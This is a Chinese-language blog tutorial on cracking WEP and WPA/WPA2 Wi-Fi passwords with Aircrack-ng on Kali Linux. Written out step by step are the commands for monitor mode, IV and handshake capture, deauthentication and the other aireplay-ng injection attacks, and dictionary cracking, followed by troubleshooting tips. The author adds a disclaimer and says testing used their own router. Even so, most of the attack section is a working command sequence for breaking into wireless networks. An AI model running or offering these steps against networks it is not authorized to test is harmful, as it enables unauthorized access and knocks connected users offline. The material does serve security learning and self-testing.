使用 Aircrack-ng 破解 WEP 和 WPA/WPA2 加密的 Wi-Fi 密碼。

1.首先請不要使用此方法去搞破壞,去蹭Wi-Fi,因為不裝逼地說,我認為技術本身的價值很大,尤其是在學習這個技術的過程中解決遇到的問題,當經過重重困難最后終于成功之后的喜悅又怎么能拿去蹭網呢。我在此過程中都是用自己路由做的測試,相信大家也可以從文中看到,所以請不要用技術做一些不好的事情。

2.歡迎使用Kali Linux 的朋友互相交流,大家共同進步學習。

索引:
1.工具
2.需要了解的知識
3.破解WEP
4.破解WPA/WPA2
5.其他
6.Q&A
7.參考文章

1.用到的工具:

Airodump-ng 獲取 AP 的 MAC 信息,連接信息以及是否握手成功。

Aircrack-ng 支持基于 802.11 協議的 WEP 和 WPA/WPA2-PSK 密碼破解

Aireplay-ng 強行向目標 AP 發送數據包

Airmon-ng 開啟無線網卡的監視模式

Wordlists.txt 字典包

2.需要了解的知識:

AP(Access Point): 網絡接入點,是一種連接無線或有線網絡的設備。就是我們俗稱的路由器。

MAC(Media Access Control Address): 相當于網卡的身份證,MAC 地址本身是不能修改,但是可以通過偽造MAC 地址欺騙AP。

WEP(Wireless Encryption Protocol): 無線加密協議。很早的一種加密協議,容易破解。

WPA/WPA2(Wi-FiProtected Access): 基于WEP更安全的加密系統。

Handshake:握手。我的理解相當于三次握手。

IV(Initialization Vector)s:初始化向量。

3.破解 WEP 加密的 Wi-Fi 流程(現在基本沒人用WEP,只做步驟演示):

3.1
<code>iwconfig #確認網卡信息。</code>


表示設備WLAN0待命并且當前模式為被管理(Managed)。

3.2
<code>airmon-ng start wlan0 #激活網卡至監視模式。</code>

會發現不能正常開啟,有5 個進程會導致錯誤。

解決方案:
(1).
<code>ifconfig wlan0mon down #先取消wlan0mon網卡模式</code>
<code>iwconfig wlan0mon mode monitor #直接設置wlan0mon為監視模式</code>
<code>ifconfig wlan0mon up #喚醒wlan0mon</code>

(2). 第2 步開始前, <code>airmon-ng check kill</code>,自動檢查沖突程序并強制關閉。

使用<code>iwconfig</code>查詢發現 wlan0mon 為監視模式

3.3 <code>airodump-ng wlan0mon #獲取附近AP 信息。</code>

看到名為 TEST-jglimmers 的路由器信息。

這里解釋幾個參數:
BSSID(Basic Service SetIdentifier): AP 的MAC 地址。
ESSID(The Extended Service Set Identifier): AP 的名稱。
PWR(Power): 信號強度。
Beacons: AP發出的通告編號,每個接入點(AP)在最低速率(1M)時差不多每秒會發送10個左右的beacon,所以它們能在很遠的地方就被發現。
#Data:當前數據傳輸量。
#/s:過去10秒鐘內每秒捕獲數據分組的數量。
CH(Channel): AP 所在的頻道。
MB: AP 的最大傳輸速度。MB=11 => 802.11b,MB=22 => 802.11b+, MB>22 => 802.11g。后面帶.的表示短封包標頭,處理速度快,更利于破解。
ENC(Encryption): 使用的加密算法體系。
CIPHER: 檢測到的加密算法。#這個和ENC 的區別我確實不明白,有沒有知道的朋友可以告訴我。
AUTH(Authority): 認證方式。
Elapsed: 用過的時間。

記錄 TEST-jglimmers 的 MAC 地址(BSSID),頻道(CH)。

BSSID: 88:25:93:5A:B5:6A
CH: 1

3.4 <code>airodump-ng --ivs -w 文件地址 --bssid BSSID wlan0mon #開始抓包, -w(write) 抓到的包保存的位置, --ivs表示只保留IVs 文件。(IVs 在2 中已解釋)</code>

可以看到有一臺 MAC 地址為 48:74:6E:2B:70:02 的設備在連接 AP 。

重新開一個終端進行下一步
3.5 <code>aireplay-ng -3 -b BSSID -h 客戶端MAC wlan0mon #理論上來講不用這一步,但是我們可以使用這條命令向 AP 發送大量數據包更快取得數據包。</code>

可以看到在第3.4 步開啟的終端中有大量數據。

3.6 <code>aireplay-ng -0 10 -a 88:25:93:5A:B5:6A -c 68:17:29:26:C3:16 wlan0mon #如果發現像我一樣得到的數據較少可嘗試發送數據包</code>

3.7 <code>aircrack-ng01.ivs #01.ivs 在第 3.4 步的文件夾當中.</code>

等待破解成功。

4.破解 WPA/WPA2 加密的 Wi-Fi 流程

前面的過程和 3.1,3.2,3.3 一樣。使 wlan0mon 處于監視模式下

4.1 <code>airodump-ng --bssid BSSID -c CH -w 文件位置 wlan0mon #-w 是抓的包輸出目錄,注意加-c,不然airodump-ng會每個頻道都會試,一直亂跳,下一步工作不好進行。</code>



這時返回的數據表示連接上此AP 的設備信息。

重新開啟一個終端,進行下一步
4.2 <code>aireplay-ng -0 10 -a BSSID -c STATION wlan0mon #-0 表示DeAuth模式,10表示攻擊次數,-c是第3 步中的得到的STATION,即已連接上的客戶端MAC 地址。</code>



Wi-Fi的連接過程大概有三種,發現(Unauthenticated & Unassociated,未認證,未連接)-認證(Authenticated & Unassociated,認證,未連接)-連接(Authenticated & Associated,認證,連接)。

-0(DeAuth模式): 向客戶端發送數據包,讓客戶端誤以為是AP 發送的數據。
<code>aireplay-ng -0 10 -a BSSID-c 客戶端的 MAC wlan0mon</code>
-1(Fake authentication 模式):在WEP中允許兩種認證類型(開放系統和共享密鑰)連接AP,我們在路由器設置頁面可以看到。當我沒發現4.1 中沒有客戶端連接時候可以使用此攻擊模式。
<code>aireplay-ng -1 0 -e ESSID -a AP的MAC -h 自己的MAC -y sharedkeyxor wlan0mon #0表示發送數據時間,-h 自己的MAC 可用<code>ifconfig</code>查詢,-y sharedkeyxor表示共享密鑰型,如果是開放系統則不用-y</code>
-2(Interactive packet replay):這個模式需要了解相關知識,可以去Interactivepacket replay 查看。
-3(ARPrequest replay): 可以了解相關知識 ARPrequest replay attack
<code>aireplay-ng -3 -b AP的MAC -h 我們的MAC wlan0mon #可以加-r CAP.cap 加速進程,這個 CAP.cap 是上一次成功進行 ARP 連接的 cap 包。</code>
或者直接
<code>aireplay-ng -3 -r CAP.cap wlan0mon</code>
-4( KoreKchopchop):這個模式如果成功的話可以不用知道密碼直接解密WEP數據包,但是有些AP 不支持此模式。
<code>aireplay-ng -4 -b AP的MAC -h 我們的MAC wlan0mon</code>
-5(Fragmentation): 碎片模式,也不包含密碼信息,故不討論,可去Fragmentationattack 查看詳情。
-6(CafeLatte):可以直接從客戶端系統中直接獲取WEP密碼,但是必須從客戶端系統中獲取到ARP包,并加以處理后返回給客戶端。
<code>aireplay-ng -6 -b AP的MAC -h 我們的MAC -D TEST-jglimmers #-D表示取消AP 的探測</code>
-7(Hirte): 基于上一個模式的攻擊,也是需要ARP請求。
<code>aireplay-ng -7 -h 我們的MAC -D TEST-jglimmers</code>
-8(WPAMigration):這個模式在我看了官方文檔后感覺非常強大,強大到我想讓大家自己去 WPAMigration Mode 看看。它可以將WPA強制轉換成 WEP 解密,但是僅限思科的 AP(>=IOSReleases 12.2(11)JA),并且同時連接了 WEP 和 WPA 的客戶端。
-9(Injection test): 測試一下網卡是否連接成功,其實我們在3.2 就已經成功,不過還是可以驗證一下。
<code>aireplay-ng-9 -a AP的MAC-i wlan1wlan0mon# wlan1是模擬的一個AP。</code>

這時能看到第1 步中的設備出現了大量數據讀取。

4.3 等待握手。
當經過第2 步發送大量數據包之后只要發現第1 步中右上角出現了 handshake: AP的MAC(BSSID),就可以 CRTL+C 停止。

4.4 <code>aircrack-ng -w Wordlists.txt CAP-01.cap #-w表示字典包的路徑, CAP 表示第 1 步中保存的文件中 -01.cap 文件,因為我們對每個 AP 的嘗試可能不止一次,所以 airodump-ng 會自動在文件名后加類似01,02這樣的數字表示次數,所以記得最后破解的時候輸入正確的 CAP 包名稱。</code>



破解的速度一般顯卡也就這樣,其實我們也可以根據 GPU 加速,但是我曾經經過好幾個月的試驗最后發現我的顯卡不支持 GPU 加速。

4.5 等待 KEY FOUND!


破解成功。

5.其他
推薦一個字典生成工具 Crunch.


6.Q&A

Q: 修改成監視模式(Monitor)失敗。
A:
(1).
<code>ifconfigwlan0mondown #先取消wlan0mon網卡模式</code>
<code>iwconfigwlan0monmode monitor #直接設置wlan0mon為監視模式</code>
<code>ifconfigwlan0monup #喚醒wlan0mon</code>

(2). 所有工作開始前 <code>airmon-ngcheck kill</code> 自動檢查沖突程序并強制關閉。

Q:破解之后不能正常聯網。
A:
<code>ifconfigwlan0mondown</code>
<code>iwconfigwlan0monmode managed</code>
<code>ifconfigwlan0monup</code>
因為之前將 wlan0mon 改成了 監視模式(Monitor),現在要改回來(Managed)。

Q:不能握手。
A:嘗試物理距離靠近路由,重復發送數據包,再等等。

Q:不能破解。
A:換強字典包。

Q:破解速度太慢。
A:嘗試 GPU 加速,或使用 hashcat 加速。

7.參考文章

http://www.aircrack-ng.org/documentation.html

http://www.aircrack-ng.org/doku.php?id=airodump-ng

http://www.aircrack-ng.org/doku.php?id=fake_authentication

http://www.thinksaas.cn/group/topic/120506/

http://m.blog.chinaunix.net/uid-29170659-id-4944188.html

最后編輯于
?著作權歸作者所有,轉載或內容合作請聯系作者
平臺聲明:文章內容(如有圖片或視頻亦包括在內)由作者上傳并發布,文章內容僅代表作者本人觀點,簡書系信息發布平臺,僅提供信息存儲服務。

推薦閱讀更多精彩內容